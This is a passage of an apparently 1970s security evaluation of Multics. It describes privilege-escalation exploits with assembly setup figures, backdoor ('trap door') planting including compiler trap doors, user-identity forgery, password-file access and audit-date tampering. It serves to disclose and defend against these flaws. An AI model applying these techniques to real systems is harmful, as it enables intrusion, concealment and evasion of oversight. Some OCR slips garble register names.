The master mode program shown in Figure 6 assembles into the interpreted object code shown in Figure 7. The master mode procedure can only be entered at location zero. (17) By convention, the n entry points to the procedure are numbered from 0 to n-1. The number of the desired entry point must be in index register zero at the time of the call. The first two instructions in the master mode sequence check to ensure that index register zero is in bounds. If it is, the transfer on no carry (tnz) instruction indirects through the transfer vector to the proper entry. If index register zero is out of bounds, the processor registers are saved for debugging and control is transferred to "mxerror," a routine to crash the system because of an unrecoverable error.

This transfer to mxerror is the most obvious vulnerability. By moving the signaller into the user ring, the designers allowed a user to arbitrarily crash the system by transferring to signaller|0 with a bad value in index register zero. This vulnerability is not too serious, since it does not compromise information and could be repaired by changing mxerror to handle the error, rather than crashing the system.

However, there is a much more subtle and dangerous vulnerability here. The trap|12,* instruction that is used to call mxerror believes that the lp register points to the linkage section of the signaller, which it should if the call were legitimate. However, a malicious user may set the lp register to point wherever he wishes, permitting him to transfer to an arbitrary location while the CPU is still in master mode. The key is the transfer in master mode, because this permits a transfer to an arbitrary location within another master mode procedure without access checking and without the restriction of entering at word zero. Thus, the penetrator need only find a convenient store instruction to be able to write into his own descriptor segment, for example. Figure 8 shows the use of a sta bp|0 instruction to change the contents of an SDW illegally.

(17) This restriction is enforced by hardware described in Section 2.1.2.
name master_test
mastermode
entry a
entry b
a:
  code
  ...
b:
  code
  ...
end

Figure 6. Master Mode Source Code

cmpx0 2,du "call in bounds?"
tnc transfer_vector,0 "Yes, go to entry"
stb sp|0 "illegal call here"
sreg sp|10 "save registers"
eapap arglist "set up call"
stdc sp|24
tra lp|12,* "lp|12 points to mxerror"
a:
  code
  ...
b:
  code
  ...
transfer_vector:
  tra a
  tra b
end

Figure 7. Master Mode Interpreted Object Code
Setup Conditions

A reg := new SDW
Index 0 := -1
lp := address (POINTER) - 12
POINTER := address (sta instruction)
bp := address (SDW)

Figure 8. Store with Master Mode Transfer
There is one major difficulty in exploiting this vulnerability. The instruction to which control is transferred must be chosen with extreme care. The instructions immediately following the store must provide some orderly means of returning control to the malicious user without doing uncontrolled damage to the system. If a crucial data base is garbled, the system will crash leaving a core dump which could incriminate the penetrator.

This vulnerability was identified by ESD/HCI in June 1972. An attempt to use the vulnerability led to a system crash for the following reason: Due to an obsolete listing of the signaller, the transfer was made to an LDBR (Load Descriptor Base Register) instruction instead of the expected store instruction. The DBR was loaded with a garbled value, and the system promptly crashed. The system maintenance personnel, being unaware of the presence of an active penetration, attributed the crash to a disk read error.

The Master Mode Transfer vulnerability resulted from a violation of the fundamental rule that master mode code shall not be executed outside ring 0. The violation was not made maliciously by the system implementors. Rather it occurs because of the interaction of two seemingly independent events: the ability to transfer via the lp without the system being able to check the validity of the lp setting, and the ability for that transfer to be to master mode code. The separation of these events made the recognition of the problem unlikely during implementation.

3.3.3 Unlocked Stack Base

The 645 CPU has eight 18-bit registers that are used for inter-segment references. Control bits are associated with each register to allow it to be paired with another register as a word number-segment number pair. In addition, each register has a lock bit, settable only in master mode, which protects its contents from modification. By convention, the eight registers are named and paired as shown in Table 2.
<table>
<thead>
<tr>
<th>Number</th>
<th>Name</th>
<th>Use</th>
<th>Pairing</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>ap</td>
<td>argument pointer</td>
<td>paired with ab</td>
</tr>
<tr>
<td>1</td>
<td>ab</td>
<td>argument base</td>
<td>unpaired</td>
</tr>
<tr>
<td>2</td>
<td>bp</td>
<td>unassigned</td>
<td>paired with bh</td>
</tr>
<tr>
<td>3</td>
<td>bb</td>
<td>unassigned</td>
<td>unpaired</td>
</tr>
<tr>
<td>4</td>
<td>lp</td>
<td>linkage pointer</td>
<td>paired with lb</td>
</tr>
<tr>
<td>5</td>
<td>lb</td>
<td>linkage base</td>
<td>unpaired</td>
</tr>
<tr>
<td>6</td>
<td>sp</td>
<td>stack pointer</td>
<td>paired with sb</td>
</tr>
<tr>
<td>7</td>
<td>sb</td>
<td>stack base</td>
<td>unpaired</td>
</tr>
</tbody>
</table>

During the early design of the Multics operating system, it was felt that the ring 0 code could be simplified if the stack base (sb) register were locked, that is, could only be modified in master mode. The sb contained the segment number of the user stack which was guaranteed to be writeable. If the sb were locked, then the ring 0 fault and interrupt handlers could have convenient areas in which to store stack frames. After Multics had been released to users at MIT, it was realized that locking the stack base unnecessarily constrained language designers. Some languages would be extremely difficult to implement without the capability of quickly and easily switching between stack segments. Therefore, the system was modified to no longer lock the stack base.

When the stack base was unlocked, it was realized that there was code scattered throughout ring 0 which assumed that the sb always pointed to the stack. Therefore, ring 0 was "audited" for all code which depended on the locked stack base. However, the audit was never completed and the few dependencies identified were in general not repaired until much later.

As part of the vulnerability analysis, it was hypothesized that such an audit for unlocked stack base problems was presumably incomplete. The ring 0 code is so large that a subtle dependency on the sb register could
easily slip by an auditor's notice. This, in fact proved to be true as shown below:

Section 3.3.2 showed that the master mode pseudo-operation code believed the value in the lp register and transferred through it. Figure 7 shows that the master mode pseudo-operation code also depends on the sb pointing to a writeable stack segment. When an illegal master mode call is made, the registers are saved on the stack prior to calling "mxerror" to crash the system. This code was designed prior to the unlocking of the stack base and was not detected in the system audit. The malicious user need only set the sp-sb pair to point anywhere to perform an illegal store of the registers with master mode privileges.

The exploitation of the unlocked stack base vulnerability was a two step procedure. The master mode pseudo-operation code stored all the processor registers in an area over 20 words long. This area was far too large for use in a system penetration in which at most one or two words are modified to give the agent the privileges he requires. However, storing a large number of words could be very useful to install a "trap door" in the system -- that is a sequence of code which when properly invoked provides the penetrator with the needed tools to subvert the system. Such a "trap door" must be well hidden to avoid accidental discovery by the system maintenance personnel.

It was noted that the linkage segments of several of the ring 0 master mode procedures were preserved as separate segments rather than being combined in a single linkage segment. Further, these linkage segments were themselves master mode procedures. Thus, segments such as signaller, f1m, and emergency_shutdown had corresponding master mode linkage segments signaller.link, f1m.link, and emergency_shutdown.link. Linkage segments contain a great deal of information used only by the binder and therefore contain a great deal of extraneous information in ring 0. For this reason, a master mode linkage segment is an ideal place to conceal a "trap door." There is a master mode procedure called emergency_shutdown that is used to place the system in a consistent state in the event of a crash. Since emergency_shutdown is used only at the time of a system crash, its linkage segment, emergency_shutdown.link, was chosen to be used for the "trap door."
The first step of the exploitation of the unlocked stack base is shown in Figure 9. (18) The signaler is entered at location 0 with an invalid index register 0. The stack pointer is set to point to an area of extraneous storage in emergency_shutdown.link. The AQ register contains a two instruction "trap door" which when executed in master mode can load or store any 36-bit word in the system. The index registers could be used to hold a longer "trap door"; however, in this case the xed bpl0, tra bpl2 sequence is sufficient. The base registers, index registers, and AQ register are stored into emergency_shutdown.link, thus laying the "trap door". Finally a transfer is made indirect through lpl12 which has been pre-set as a return pointer. (19)

Step two of the exploitation of the unlocked stack base is shown in Figure 10. The calling program sets the hp register to point to the desired instruction pair and transfers to word zero of the signaler with an invalid value in index register 0. The signaler saves its registers on the user's stack frame since the sp has not been changed. It then transfers indirect through lpl12 which has been set to point to the "trap door" in emergency_shutdown.link. The first instruction of the "trap door" is an execute double (XED) which permits the user (penetration agent) to specify any two arbitrary instructions to be executed in master mode. In this example, the instruction pair loads the AQ register from a word in the stack frame (20) and then stores indirect through a pointer in the stack to an SDW in the descriptor segment. The second instruction in the "trap door" transfers back to the calling program, and the penetrator may go about his business.

(18) Listings of the code used to exploit this vulnerability are found in Appendix B.

(19) This transfer uses the Master Mode Transfer vulnerability to return. This is done primarily for convenience. The fundamental vulnerability is the storing through the sp register. Without the Master Mode Transfer, exploitation of the Unlocked Stack Base would have been more difficult, although far from impossible.

(20) It should be noted that only step one changed the value of the sp. In step two, it is very useful to leave the sp pointing to a valid stack frame.
Setup Conditions

AQ register := xed bp|0; tra bp|2
Index 0 := -1
sp := address (unused storage in emergency_shutdown.link)
lp|12 := address (return location)

Figure 9. Unlocked Stack Base (Step 1)
Figure 10. Unlocked Stack Base (Step 2)
The "trap door" inserted in emergency_shutdown.link remained in the system until the system was reinitialized. (21) At initialization time, a fresh copy of all ring zero segments is read in from the system tape erasing the "trap door". Since system initializations occur at least once per day, the penetrator must execute step one before each of his working sessions. Step two is then executed each time he wishes to access or modify some word in the system.

The unlocked stack base vulnerability was identified in June 1972 with the Master Mode Transfer Vulnerability. It was developed and used at the RADC site in September 1972 without a single system crash. In October 1972, the code was transferred to the MIT site. Due to lack of good telecommunications between the two sites, the code was manually retyped into the MIT system. A typing mistake was made that caused the word to be stored into the SDW to always be zero (See Figure 10). When an attempt was made to set slave access-data in the SDW of the descriptor segment itself, (22) the SDW of the descriptor segment was set to zero causing the system to crash at the next LDBR instruction or segment initiation. The bug was recognized and corrected immediately, but later in the day, a second crash occurred when the SDW for the ring zero segment file (the fault_intercept module) was patched to slave access-write permit-data rather than slave access-write permit-slave procedure. In more straightforward terms, the SDW was set to read-write rather than read-write-execute. Therefore, when the system next attempted to execute the file it took a no-execute permission fault and tried to execute the file, thus entering an infinite loop crashing the system.

3.3.4 Preview of 6180 Software Vulnerabilities

The 6180 hardware implementation of rings renders invalid the attacks described here on the 645. This is not to say, however, that the 6180 M/ultics is free of vulnerabilities. A cursory examination of the 6180 software has revealed the existence of several software vulnerabilities, any one of which can be used to access

(21) See Section 3.4.5 for more lasting "trap doors".

(22) The attempt here was to dump the contents of the descriptor segment on the terminal. The user does not normally have read permission to his own descriptor segment.
any information in the system. These vulnerabilities were identified with comparable levels of effort to those shown in Section 3.5.

3.3.4.1 No Call Limiter Vulnerability

The first vulnerability is the No Call Limiter vulnerability. This vulnerability was caused by the call limiter not being set on gate segments, allowing the user to transfer to any instruction within the gate rather than to just an entry transfer vector. This vulnerability gives the penetrator the same capabilities as the Master Mode Transfer vulnerability.

3.3.4.2 SLT-KST Dual SDW Vulnerability

The second vulnerability is the SLT-KST Dual SDW vulnerability. When a user process was created on the 645, separate descriptor segments were created for each ring, with the ring 0 SDW’s being copied from the segment loading table (SLT). The ring 0 descriptor segment was essentially a copy of the SLT for ring 0 segments. The ring 4 descriptor segment zeroed out most SDW’s for ring 0 segments. Non-ring 0 SDW’s were added to both the ring 0 and ring 4 descriptor segments from the Known Segment Table (KST) during segment initiation. Upon conversion to the 6180, the separate descriptor segments for each ring were merged into one descriptor segment containing ring brackets in each SDW <IPC73>. The ring 0 SDW’s were still taken from the SLT and the non-ring 0 SDW’s from the KST as on the 645.

The system contains several gates from ring 4 into ring 0 of varying levels of privilege. The least privileged gate is called hchs_ and may be used by all users in ring 4. The most privileged gate is called hphcs_ and may only be called by system administration personnel. The gate hphcs_ contains routines to shut the system down, access any segment in the system, and patch ring 0 data bases. If a user attempts to call hphcs_ in the normal fashion, hphcs_ is entered into the KST, an SDW is assigned, and access rights are determined from the access control list stored in hphcs_’s parent directory. Since most users would not be on the access control list of hphcs_, access would be denied. Ring 0 gates, however, also have a second segment number assigned from the segment loading table (SLT). This duplication posed no problem on the 645, since SLT SDW’s were valid only in the ring 0 descriptor segment. However on the 6180, the KST SDW for hphcs_ would be null access ring brackets 0,0,5,
but the SLT SDW would read-execute (re) access, ring brackets 0,0,5. Therefore, the penetrator need only transfer to the appropriate absolute segment number rather than using dynamic linking to gain access to any hphcs capability. This vulnerability was considerably easier to use than any of the others and was carried through identification, confirmation, and exploitation in less than 5 man-hours total (See Section 3.5).

3.3.4.3 Additional Vulnerabilities

The above mentioned 6180 vulnerabilities have been identified and repaired by Honeywell. The capabilities of the SLT-KST Dual SDW vulnerability were demonstrated to Honeywell on 14 September 1973 in the form of an illegal message to the operator's console at the 6180 site in the Honeywell plant in Phoenix, Arizona. Honeywell did not identify the cause of the vulnerability until March 1974 and installed a fix in Multics System 23.6. As of the time of this publication, additional vulnerabilities have been identified but at this time have not been developed into a demonstration.

3.4 Procedural Vulnerabilities

This section describes the exploitation by a remote user of several classes of procedural vulnerabilities. No attempt was made to penetrate physical security, as there were many admitted vulnerabilities in this area. In particular, the machine room was not secure and communications lines were not encrypted. Rather, this section looks at the areas of auditing, system configuration control, (23) passwords, and "privileged" users.

3.4.1 Dump and Patch Utilities

To provide support to the system maintenance personnel, the Multics system includes commands to dump or patch any word in the entire virtual memory. These

(23) System configuration control is a term derived from Air Force procurement procedures and refers to the control and management of the hardware and software being used in a system with particular attention to the software update tasks. It is not to be confused with the Multics dynamic reconfiguration capability which permits the system to add and delete processors and memories while the system is running.
utilities are used to make online repairs while the system continues to run. Clearly these commands are very dangerous, since they can bypass all security controls to access otherwise protected information, and if misused, can cause the system to crash by garbling critical databases. To protect the system, these commands are implemented by special privileged gates into ring zero. The access control lists on these gates restrict their use to system maintenance personnel by name as authenticated by the login procedure. Thus an ordinary user nominally cannot access these utilities. To further protect the system, the patch utility records on the system operator's console every patch that is made. Thus, if an unexpected or unauthorized patch is made, the system operator can take immediate action by shutting the system down if necessary.

Clearly dump and patch utilities would be of great use to a system penetrator, since they can be used to facilitate his job. Procedural controls on the system dump and patch routines prevent the penetrator from using them by the ACL restrictions and the audit trail. However by using the software vulnerabilities described in section 3.3, these procedural controls may be bypassed and the penetration agent can implement his own dump and patch utilities as described below.

Dump and patch utilities were implemented on Multics using the Unlocked Stack Base and Insufficient Argument Validation vulnerabilities. These two vulnerabilities demonstrated two basically different strategies for accessing protected segments. These two strategies developed from the fact that the Unlocked Stack Base vulnerability operates in ring 4 master mode, while the Insufficient Argument Validation vulnerability operates in ring 0 slave mode. In addition, there was a requirement that a minimal amount of time be spent with the processor in an anomalous state - ring 4 master mode or ring 0 illegal code. When the processor is in an anomalous state, unexpected interrupts or events could cause the penetrator to be exposed in a system crash.

3.4.1.1 Use of Insufficient Argument Validation

As was mentioned above, the NUS 645 implementation of Multics simulates protection rings by providing one descriptor segment for each ring. Patch and dump utilities can be implemented using the Insufficient Argument Validation vulnerability by realizing that the ring zero descriptor segment will have entries for
segments which are not accessible from ring 4. Conceptually, one could copy an SDW for some segment from the ring 0 descriptor segment to the ring 4 descriptor segment and be guaranteed at least as much access as available in ring 0. Since the segment number of a segment is the same in all rings, this approach is very easy to implement.

The exact algorithm is shown in flow chart form in Figure 11. In block 2 of the flow chart, the ring 4 SDW is read from the ring 4 descriptor segment (wdseg) using the Insufficient Argument Validation vulnerability. Next the ring 0 SDW is read from the ring 0 descriptor segment (dseg). The ring 0 SDW must now be checked for validity, since the segment may not be accessible even in ring 0. (24) An invalid SDW is represented by all 36 bits being zero. One danger present here is that if the segment in question is deactivated, (25) the SDW being checked may be invalidated while it is being manipulated. This event could conceivably have disastrous results, but as we shall see in Section 3.4.2, the patch routine need only be used on segments which are never deactivated. The dump routine can do no harm if it accidentally uses an invalid SDW, as it always only reads using the SDW, conceivably reading garbage but nothing else. Further, deactivation of the segment is highly unlikely since the segment is in "use" by the dump/patch routine.

If the ring 0 SDW is invalid, an error code is returned in block 5 of the flow chart and the routine terminates. Otherwise, the ring 0 SDW is stored into the ring 4 descriptor segment (wdseg) with read-execute-write access by turning on the SDW bits for slave access, write permission, slave procedure. (See Figure 2). Now the dump or patch can be performed without using the vulnerability to load or store each 36 bit word

(24) As an additional precaution, ring 0 slave mode programs run under the same access rules as all other programs. A valid SDW entry is made for a segment in any ring only if the user is on the ACL for the segment. We shall see in Section 3.4.2 how to get around this "security feature".

(25) A segment is deactivated when its page table is removed from core. Segment deactivation is performed on a least recently used basis, since not all page tables may be kept in core at one time.
GET SEG # FROM ARG LIST
GET RING 4 SDW FROM wdseg
GET RING 0 SDW FROM dseg

RETURN ERROR
NO

IS SEGMENT ACCESSIBLE IN RING 0?
YES

SDW ≠ 0?

PATCH SDW IN wdseg
PERFORM DUMP/PATCH
RESTORE OLD RING 4 SDW

STORE RING 0 SDW IN wdseg WITH REW ACCESS

STOP
STOP

Figure 11. DUMP/PATCH UTILITY USING INSUFFICIENT ARGUMENT VALIDATION
being moved. Finally in block 8, the ring 4 SDW is restored to its original value, so that a later unrelated system crash could not reveal the modified SDW in a dump. It should be noted that while blocks 2, 3, 6, and 8 all use the vulnerability, the bulk of the time is spent in block 7 actually performing the dump or patch in perfectly normal ring 4 slave mode code.

3.4.1.2 Use of Unlocked Stack Base

The Unlocked Stack Base vulnerability operates in a very different environment from the Insufficient Argument Validation vulnerability. Rather than running in ring 0, the Unlocked Stack Base vulnerability runs in ring 4 in master mode. In the ring 0 descriptor segment, the segment dseg is the ring 0 descriptor segment and wdseg is the ring 4 descriptor segment. (26) However, in the ring 4 descriptor segment, the segment dseg is the ring 4 descriptor segment and wdseg has a zeroed SDW. Therefore, a slightly different strategy must be used to implement dump and patch utilities as shown in the flow chart in Figure 12. (27) The primary difference here is in blocks 3 and 5 of Figure 12 in which the ring 4 SDW for the segment is used rather than the ring 0 SDW. Thus the number of segments which can be dumped or patched is reduced from those accessible in ring 0 to those accessible in ring 4 master mode. We shall see in Section 3.4.2 that this reduction is not crucial, since ring 4 master mode has sufficient access to provide "interesting" segments to dump or patch.

3.4.1.3 Generation of New SDW's

Two strategies for implementation of dump and patch utilities were shown above. In addition, a third strategy exists which was rejected due to its inherent dangers. In this third strategy, the penetrator selects an unused segment number and constructs an SDW occupying that segment number in the ring 4 descriptor

(26) Actually wdseg is the descriptor segment for whichever ring (1-7) was active at the time of the entry to ring 0. No conflict occurs since wdseg is always the descriptor segment for the ring on behalf of which ring 0 is operating.

(27) This strategy is also used with the Execute Instruction Access Check Bypass vulnerability which runs in ring 4.
Figure 12. DUMP/PATCH UTILITY USING UNLOCKED STACK BASE
segment using any of the vulnerabilities. This totally new SDW could then be used to access some part of the Multics hierarchy. However, two major problems are associated with this strategy which caused its rejection. First the absolute core address of the page table of the segment must be stored in the SDW address field. There is no easy way for a penetrator to obtain the absolute address of the page table for a segment not already in his descriptor segment short of duplicating the entire segment fault mechanism which runs to many hundreds or thousands of lines of code. Second, if the processor took a segment or page fault on this new SDW, the ring 0 software would malfunction, because the segment would not be recorded in the Known Segment Table (KST). This malfunction could easily lead to a system crash and the disclosure of the penetrator's activities. Therefore, the strategy of generating new SDW's was rejected.

3.4.2 Forging the Non-Forgeable User Identification

In Section 2.2.3 the need for a protected, non-forgeable identification of every user was identified. This non-forgeable ID must be compared with access control list entries to determine whether a user may access some segment. This identification is established when the user logs into Multics and is authenticated by the user password. (28) If this user identification can be forged in any way, then the entire login audit mechanism can be rendered worthless.

The user identification in Multics is stored in a per-process segment called the process data segment (PDS). The PDS resides in ring 0 and contains many constants used in ring 0 and the ring 0 procedure stack. The user identification is stored in the PDS as a character string representing the user's name and a character string representing the user's project. The PDS must be accessible to any ring 0 procedure within a user's process and must be accessible to ring 4 master mode procedures (such as the signaller). Therefore, as shown in Sections 3.4.1.1 and 3.4.1.2, the dump and patch utilities can dump and patch portions of the PDS, thus forging the non-forgeable user identification. Appendix E shows the actual user commands needed to forge the user

(28) Clearly more sophisticated authentication schemes than a single user chosen password could be used on Multics (see Richardson <R1C73>). However, such schemes are outside the scope of this paper.
identification.

This capability provides the penetrator with an "ultimate weapon". The agent can now undetectably masquerade as any user of the system including the system administrator or security officer, immediately assuming that user's access privileges. The agent has bypassed and rendered ineffective the entire login authentication mechanism with all its attendant auditing machinery. The user whom the agent is impersonating can login and operate without interference. Even the "who table" that lists all users currently logged into the system records the agent with his correct identification rather than the forgery. Thus to access any segment in the system, the agent need only determine who has access and change his user identification as easily as a legitimate user can change his working directory.

It was not obvious at the time of the analysis that changing the user identification would work. Several potential problems were foreseen that could lead to system crashes or could reveal the penetrator's presence. However, none of these proved to be a serious barrier to masquerading.

First, a user process occasionally sends a message to the operator's console from ring 0 to report some type of unusual fault such as a disk parity error. These messages are prefaced by the user's name and project taken from the PDS. It was feared that a random parity error could "blow the cover" of the penetrator by printing his modified identification on the operator's console. (29) However, the PDS in fact contains two copies of the user identification - one formatted for printing and one formatted for comparison with access control list entries. Ring 0 software keeps these strictly separated, so the penetrator need only change the access control identification.

Second, when the penetrator changes his user identification, he may lose access to his own programs, data and directories. The solution here is to assure that the access control lists of the needed segments and directories grant appropriate access to the user as whom the penetrator is masquerading.

(29) This danger exists only if the operator or system security officer is carefully correlating parity error messages with the names of currently logged in users.
Finally, one finds that although the penetrator can set the access control lists of his ring 4 segments appropriately, he cannot in any easy way modify the access control lists of certain per process supervisor segments including the process data segment (PDS), the process initialization table (PIT), the known segment table (KST), and the stack and combined linkage segments for ring 1, 2, and 3. The stack and combined linkage segments for ring 1, 2, and 3 can be avoided by not calling any ring 1, 2, or 3 programs while masquerading. However, the PDS, PIT, and KST are all ring 0 data bases that must be accessible at all times with read and write permission. This requirement could pose the penetrator a very serious problem; but, because of the very fact that these segments must always be accessible in ring 0, the system has already solved this problem. While the PIT, PDS, and KST are paged segments, (30) they are all used during segment fault handling. In order to avoid recursive segment faults, the PIT, PDS, and KST are never deactivated. (31) Deactivation, as mentioned above, is the process by which a segment's page table is removed from core and a segment fault is placed in its SDW. The access control bits are set in an SDW only at segment fault time. (32) Since the system never deactivates the PIT, PDS, and KST, under normal conditions, the SDW's are not modified for the life of the process. Since the process of changing user identification does not change the ring 0 SDW's of the PIT, PDS, and KST either, the penetrator retains access to these critical segments without any special action whatsoever.

(30) In fact the first page of the PDS is wired down so that it may be used by page control. The rest of the PDS, however, is not wired.

(31) In Multics jargon, their "entry hold switches" are set.

(32) In fact, a segment fault is also set in an SDW when the access control list of the corresponding segment is changed. This is done to ensure that access changes are reflected immediately, and is effected by setting faults in all descriptor segments that have active SDW's for the segment. This additional case is not a problem, because the access control lists of the PIT, PDS, and KST are never changed.
3.4.3 Accessing the Password File

One of the classic penetrations of an operating system has been unauthorized access to the password file. This type of attack on a system has become so embedded in the folklore of computer security that it even appears in the definition of a security "breach" in DOD 5200.28-M (DOD73). In fact, however, accessing the password file internal to the system proves to be of minimal value to a penetrator as shown below. For completeness, the Multics password file was accessed as part of this analysis.

3.4.3.1 Minimal Value of the Password File

It is asserted that accessing the system password file is of minimal value to a penetrator for several reasons. First, the password file is generally the most highly protected file in a computer system. If the penetrator has succeeded in breaking down the internal controls to access the password file, he can almost undoubtedly access every other file in the system. Why bother with the password file?

Second, the password file is often kept enciphered. A great deal of effort may be required to invert such a cipher, if indeed the cipher is invertible at all.

Finally, the login path to a system is generally the most carefully audited to attempt to catch unauthorized password use. The penetrator greatly risks detection if he uses an unauthorized password. It should be noted that an unauthorized password obtained outside the system may be very useful to a penetrator, if he does not already have access to the system. However, that is an issue of physical security which is outside the scope of this paper.

3.4.3.2 The Multics Password File

The Multics password file is stored in a segment called the person name table (PNT). The PNT contains an entry for each user on the system including that user's password and various pieces of auditing information. Passwords are chosen by the user and may be changed at any time. (33) Passwords are scrambled by an

(33) There is a major problem that user chosen passwords
allegedly non-invertible enciphering routine for protection in case the PNT appears in a system dump. Only enciphered passwords are stored in the system. The password check at login time is accomplished by the equivalent of the following PL/I code:

```plaintext
if scramble_(typed_password) = pnt.user.password
   then call ok_to_login;
   else call reject_login;
```

For the rest of this section, it will be assumed that the enciphering routine is non-invertible. In a separate volume <DOW74>, Downey demonstrates the invertibility of the Multics password scrambler used at the time of the vulnerability analysis. (34)

The PNT is a ring 4 segment with the following access control list:

```plaintext
 rw  *,SysAdmin.*
 null *,*,*
```

Thus by modifying one's user identification to the SysAdmin project as in Section 3.4.2, one can immediately gain unrestricted access to the PNT. Since the passwords are enciphered, they cannot be read out of the PNT directly. However, the penetrator can extract a copy of the PNT for cryptanalysis. The penetrator can also change a user's password to the enciphered version of a known password. Of course, this action would lead to almost immediate discovery, since the user would no longer be able to login.

### 3.4.4 Modifying Audit Trails

Audit trails are frequently put into computer systems for the purpose of detecting breaches of security. For example, a record of last login time printed when a user logged in could detect the unauthorized use of a user's password and identification. However, we have seen that a penetrator using vulnerabilities in the operating are often easy to guess. That problem, however, will not be addressed here. Multics provides a random password generator, but its use is not mandatory.

(34) FSD/MCI has provided a "better" password scrambler that is now used in Multics, since enciphering the password file is useful in case it should appear in a system dump.
system code can access information and bypass many such audits. Sometimes it is not convenient for the penetrator to bypass an audit. If the audit trail is kept online, it may be much easier to allow the audit to take place and then go back and modify the audit trail to remove or modify the evidence of wrong doing. One simple example of modification of audit trails was selected for this vulnerability demonstration.

Every segment in Multics carries with it audit information on the date time last used (DTU) and date time last modified (DTM). These dates are maintained by an audit mechanism at a very low level in the system, and it is almost impossible for a penetrator to bypass this mechanism. (35) An obvious approach would be to attempt to patch the DTU and DTM that are stored in the parent directory of the segment in question. However, directories are implemented as rather complex hash tables and are therefore very difficult to patch.

Once again, however, a solution exists within the system. A routine called set_dates is provided among the various subroutine calls into ring 0 which is used when a segment is retrieved from a backup tape to set the segment's DTU and DTM to the values at the time the segment was backed up. The routine is supposed to be callable only from a highly privileged gate into ring 0 that is restricted to system maintenance personnel. However, since a penetrator can change his user identification, this restriction proves to be no barrier. To access a segment without updating DTU or DTM:

1. Change user ID to access segment.
2. Remember old DTU and DTM.
3. Use or modify the segment.
4. Change user ID to system maintenance.
5. Reset DTU and DTM to old values.
6. Change user ID back to original.

In fact due to yet another system bug, the procedure is even easier. The module set_dates is callable, not only from the highly privileged gate into ring 0, but also from the normal user gate into ring 0. (36) Therefore, step 4

(35) Section 3.4.5 shows a motivation to bypass DTU and DTM.

(36) The user gate into ring 0 contains set_dates, so that users may perform reloads from private backup tapes.
in the above algorithm can be omitted if desired. A
listing of the utility that changes DTU and DTM may be
found in Appendix F.

It should be noted that one complication
exists in step 5 - resetting DTU and DTM. The system does
not update the dates in the directory entry immediately,
but primarily at segment deactivation time. (37)
Therefore, step 5 must be delayed until the segment has
been deactivated - a delay of up to several minutes.
Otherwise the penetrator could reset the dates, only to
have them updated again a moment later.

3.4.5 Trap Door Insertion

Up to this point, we have seen how a
penetrator can exploit existing weaknesses in the security
controls of an operating system to gain unauthorized
access to protected information. However, when the
penetrator exploits existing weaknesses, he runs the
constant risk that the system maintenance personnel will
find and correct the weakness he happens to be using. The
penetrator would then have to begin again looking for
weaknesses. To avoid such a problem and to perpetuate
access into the system, the penetrator can install "trap
doors" in the system which permit him access, but are
virtually undetectable.

3.4.5.1 Classes of Trap Doors

Trap doors come in many forms and can be
inserted in many places throughout the operational life of
a system from the time of design up to the time the system
is replaced. Trap doors may be inserted at the facility
at which the system is produced. Clearly if one of the
system programmers is an agent, he can insert a trap door
in the code he writes. However, if the production site is
a (perhaps on-line) facility to which the penetrator can
gain access, the penetrator can exploit existing
vulnerabilities to insert trap doors into system software
while the programmer is still working on it or while it is
in quality assurance.

As a practical example, it should be
noted that the software for WWMCSS is currently developed
using uncleared personnel on a relatively open time
sharing system at Honeywell's plant in Phoenix, Arizona.

(37) Dates may be updated at other times as well.

50
The software is monitored and distributed from an open time sharing system at the Joint Technical Support Agency (JTSA) at Reston, Virginia. Both of these sites are potentially vulnerable to penetration and trap door insertion.

Trap doors can be inserted during the distribution phase. If updates are sent via insecure communications - either US Mail or insecure telecommunications, the penetrator can intercept the update and subtly modify it. The penetrator could also generate his own updates and distribute them using forged stationery.

Finally, trap doors can be inserted during the installation and operation of the system at the user's site. Here again, the penetrator uses existing vulnerabilities to gain access to stored copies of the system and make subtle modifications.

Clearly when a trap door is inserted, it must be well hidden to avoid detection by system maintenance personnel. Trap doors can best be hidden in changes to the binary code of a compiled routine. Such a change is completely invisible on system listings and can be detected only by comparing bit by bit the object code and the compiler listing. However, object code trap doors are vulnerable to recompilations of the module in question.

Therefore the system maintenance personnel could regularly recompile all modules of the system to eliminate object code trap doors. However, this precaution could play directly into the hands of the penetrator who has also made changes in the source code of the system. Source code changes are more visible than object code changes, since they appear in system listings. However, subtle changes can be made in relatively complex algorithms that will escape all but the closest scrutiny. Of course, the penetrator must be sure to change all extant copies of a module to avoid discovery by a simple comparison program.

Two classes of trap doors which are themselves source or object trap doors are particularly insidious and merit discussion here. These are the teletype key string trigger trap door and the compiler trap door.
It has often been hypothesized that a carefully written closed subsystem such as a query system or limited data management system without programming capabilities may be made invulnerable to security penetration. The teletype key string trigger is just one example of a trap door that provides the penetrator with a vulnerability in even the most limited subsystem. To create such a trap door, the agent modifies the supervisor teletype modules at the development site such that if the user types normally, no anomaly occurs, but if the user types a special key string, a dump/patch utility is triggered into operation to allow the penetrator unlimited access. The key string would of course have to be some very unlikely combination to avoid accidental discovery. The teletype key string trap door is somewhat more complex than the trap door described below in Section 3.4.5.2. However, it is quite straightforward to develop and insert with relatively nominal effort.

It was noted above that while object code trap doors are invisible, they are vulnerable to recomplilations. The compiler (or assembler) trap door is inserted to permit object code trap doors to survive even a complete recompilation of the entire system. In Multics, most of the ring 0 supervisor is written in PL/I. A penetrator could insert a trap door in the PL/I compiler to note when it is compiling a ring 0 module. Then the compiler would insert an object code trap door in the ring 0 module without listing the code in the listing. Since the PL/I compiler is itself written in PL/I, the trap door can maintain itself, even when the compiler is recompiled. (38) Compiler trap doors are significantly more complex than the other trap doors described here, because they require a detailed knowledge of the compiler design. However, they are quite practical to implement at a cost of perhaps five times the level shown in Section 3.5. It should be noted that even costs several hundred times larger than those shown here would be considered nominal to a foreign agent.

There is also a variant on the compiler trap door called the initialization trap door. Here, the system initialization code is modified by the penetrator to insert other trap doors as the system is brought up. Such trap doors can be relatively invulnerable to

(38) This type of trap door does not require a higher level language. Entirely analogous trap doors could be placed in an assembler.

52
detection and recompilation, because system initialization is usually a very complex and poorly understood procedure.

3.4.5.2 Example of a Trap Door in Multics

